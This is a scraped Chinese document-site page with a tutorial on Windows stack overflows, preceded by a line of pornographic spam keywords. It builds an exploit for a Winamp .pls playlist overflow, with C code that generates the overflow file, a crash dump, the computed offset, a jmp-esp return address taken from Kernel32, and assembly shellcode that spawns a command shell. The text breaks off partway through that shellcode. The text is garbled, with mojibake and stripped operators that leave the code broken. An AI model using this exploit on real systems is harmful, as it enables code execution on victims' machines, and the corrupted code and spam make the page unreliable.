freepeople性欧美熟妇, 色戒完整版无删减158分钟hd, 无码精品国产vα在线观看DVD, 丰满少妇伦精品无码专区在线观看,艾栗栗与纹身男宾馆3p50分钟,国产AV片在线观看,黑人与美女高潮,18岁女RAPPERDISSSUBS,国产手机在机看影片

正文內(nèi)容

windows系統(tǒng)下的堆棧溢出(編輯修改稿)

2024-10-10 16:44 本頁(yè)面
 

【文章內(nèi)容簡(jiǎn)介】 windows 緩沖區(qū)溢出的思路。 思路是這樣的:返回地址 A的內(nèi)容不指向我們的 shellcode開(kāi)始地點(diǎn),否則的話A里面必然含有 0。我們知道系統(tǒng)核心的dll都是在 2- 4G,也就是從 0x80000000到 0xffffffff,這里面的指令地址將不包含0,(當(dāng)然幾個(gè)別的除外,我們可以不用他)。因此,我們可以令返回地址 A等于一個(gè)系統(tǒng)核心 dll中的指令的地址,這個(gè)指令的 作用就是 call/jmp 我們的 shellcode。 但是他怎么才能知道我們的 shellcode的地址呢? 答案是:用寄存器。因?yàn)樵谝绯霭l(fā)生的時(shí)候,除了 eip跳到了系統(tǒng)核心 dll去之外,其他的通用寄存器都保持不變。在寄存器里面一定有我們的 shellcode的相關(guān)信息。比如說(shuō),敵人的函數(shù)如果有參數(shù)的話,那么我們的 A覆蓋了他的返回地址 , shellcode 的開(kāi)始地址則恰恰在他的第一個(gè)參數(shù)的位置上,那我們就可以用 call [ebp+4]或者我們假設(shè)敵人第一個(gè)參數(shù)的地址在 eax,那我們就可以使用call/jmp eax來(lái)調(diào)用 shellcode。這些寄存器的值,我們可以在第一講里面提到的“關(guān)閉程序框”里面獲得寄存器和堆棧的詳細(xì)資料。 那么我們?cè)趺粗滥睦镉?call/jmp eax什么的呢?我們又怎么知道這些指令是每次都在內(nèi)存中可以直接調(diào)用呢? 答案是:系統(tǒng)核心 dll。系統(tǒng)核心 dll 包括 ,dll是一直位于內(nèi)存中而且對(duì)應(yīng)于固定的版本 windows 加載的位置是固定的。你可以在這些 dll里面搜索你需要的指令。其他的 dll,比如 msvcrt。 dll 就要去看程序自己的 import列表了??纯此欠駆oad了這個(gè) dll。不過(guò)一般的說(shuō),這幾個(gè)dll就夠了。 好,那么我們的 shellcode最終為: NNNNNNNNNNNNNNNASSSSSSSS 其中: N為 NOP指令 A 為指向某一條 call/jmp 指令的地址,這個(gè) call/jmp 指令位于系統(tǒng)核心內(nèi)存 0x80000000,這個(gè) call/jmp指令具體的內(nèi)容,需要根據(jù)我們 exploit出來(lái)的結(jié)果分析得知。 S: shellcode。 有了這些基礎(chǔ)知識(shí),我們來(lái)分析一個(gè)實(shí)例。 大家都有 winamp 吧,他的 有緩沖區(qū)漏洞,下面我們來(lái)實(shí)現(xiàn)一個(gè) exploit。 winamp 的 playlist 支持文件 *.pls 存放playlist。 playlist里面的文件名長(zhǎng)度如果大于一定長(zhǎng)度就會(huì)發(fā)生堆棧溢出。我們可以寫(xiě)出測(cè)試串,精確的測(cè)試。 include int main() { char buffer[640]。 char eip[8] = 。 char sploit[256] = 。 FILE *file。 for(int x=0。x640。x++) { switch(x%4) { case 0: buffer[x] = 39。A39。break。 case 1: buffer[x] = 39。A39。+x/26%26/26%26。 break。 case 2: buffer[x] = 39。A39。+x/26%26。 break。 case 3: buffer[x] = 39。A39。+x%26。break。 } } buffer[x]=0。 file = fopen(,wb)。 fprintf(file, [playlist]\n)。 fprintf(file, File1=)。 fprintf(file, %s, buffer)。 fprintf(file, %s, eip)。 fprintf(file, %s, sploit)。 fprintf(file, \nNumberOfEntries=1)。 fclose(file)。 printf(\t created file loaded with the exploit.\n)。 return 0。 } 算法很簡(jiǎn)單,是寫(xiě)出一個(gè) ,內(nèi)容可以根據(jù)那幾個(gè) fprintf 看出來(lái)的。我就不講了,其中 buffer 的內(nèi)容為測(cè)試用的字符串。這個(gè)測(cè)試程序可以測(cè)試最長(zhǎng)為 26^3的串,足夠了。 編譯執(zhí)行,看看結(jié)果,嘿,發(fā)生了堆棧溢出,結(jié)果如下: WINAMP 在 00de:4c574141 的模塊 未知 中導(dǎo)致無(wú)效頁(yè)錯(cuò)誤。 Registers: EAX=00000001 CS=017f EIP=4c574141 EFLGS=00000206 EBX=006da30c SS=0187 ESP=006da170 EBP=006da2f4 ECX=00000000 DS=0187 ESI=00445638 FS=4bd7 EDX=005b02dc ES=0187 EDI=00000001 GS=4206 Bytes at CS:EIP: Stack dump: 50574141 54574141 58574141 42584141 46584141 4a584141 4e584141 52584141 56584141 5a584141 44594141 48594141 4c594141 50594141 根據(jù) eip=4141574c 計(jì)算得出, addr = (57h41h)*26+(4ch41h)4 = 580. 好,溢出的位置為 580。 大家現(xiàn)在知道我們的溢出字符串中,返回地址 A應(yīng)該在串的 580處,那么我們應(yīng)該讓他使用什么 call/jmp 指令以達(dá)到shellcode呢? 看看寄存器 dump,我們發(fā)現(xiàn) ESP 里面的內(nèi)容是 41415750,恰好是 4141574c之后的第一個(gè)數(shù)??磥?lái) ESP指向我們的shellcode,太棒了!我們使用指令: jmp ESP 就可以執(zhí)行我們的 shellcode了。 現(xiàn)在找出 jmp esp 的指令碼為 FF E4,ctrlD 調(diào)出 sice,看看內(nèi)存里面那里有 FF dll 的加載 地址都是從地址 0xBf000000開(kāi)始,所以我們搜索 s Bf000000 L ffffffff ff,e4 得到了哪些結(jié)果? 一堆呀,這第一個(gè)是: BFF795A3??纯磗oftice 里 面 的 進(jìn) 程 名 稱 欄 :Kernel32!GetDataFormatA+1554好,是,肯定是可以用的啦。ok,問(wèn)題解決,我們現(xiàn)在可以確定在buffer〔 580〕處,寫(xiě)入四個(gè)字節(jié):\xa3\x95\xf7\xbf.這就是我們的溢出字符串中的返回地址 A。 好了,現(xiàn)在溢出字符串已經(jīng)基本分析完了,就差 shellcode了。 下面我們來(lái)寫(xiě) shellcode。 我們的 shellcode 要開(kāi)一個(gè) dos 窗口。 C語(yǔ)言的算法描述是: LoadLibrary()。 system()。 exit(0); 很簡(jiǎn)單,是不是?下面是匯編代碼: 首先要 LoadLibrary()。 push ebp mov ebp,esp xor eax,eax push eax push eax push eax mov byte ptr[ebp0Ch],4Dh mov byte ptr[ebp0Bh],53h mov byte ptr[ebp0Ah],56h mov byte ptr[ebp09h],43h mov byte ptr[ebp08h],52h mov byte ptr[ebp07h],54h mov byte ptr[ebp06h],2Eh mov byte ptr[ebp05h],44h mov byte ptr[ebp04h],4Ch mov byte ptr[ebp03h],4Ch mov edx,0xBFF776D4 //LoadLibrary push edx lea eax,[ebp0Ch] push eax call dword ptr[ebp10h] 然后是開(kāi)一個(gè) dos窗口: push ebp mov ebp, esp sub esp, 0000002C mov eax, 6D6D6F63 mov dword ptr [ebp0C], eax mov eax, 2E646E61 mov dword ptr [ebp08], eax
點(diǎn)擊復(fù)制文檔內(nèi)容
公司管理相關(guān)推薦
文庫(kù)吧 www.dybbs8.com
備案圖片鄂ICP備17016276號(hào)-1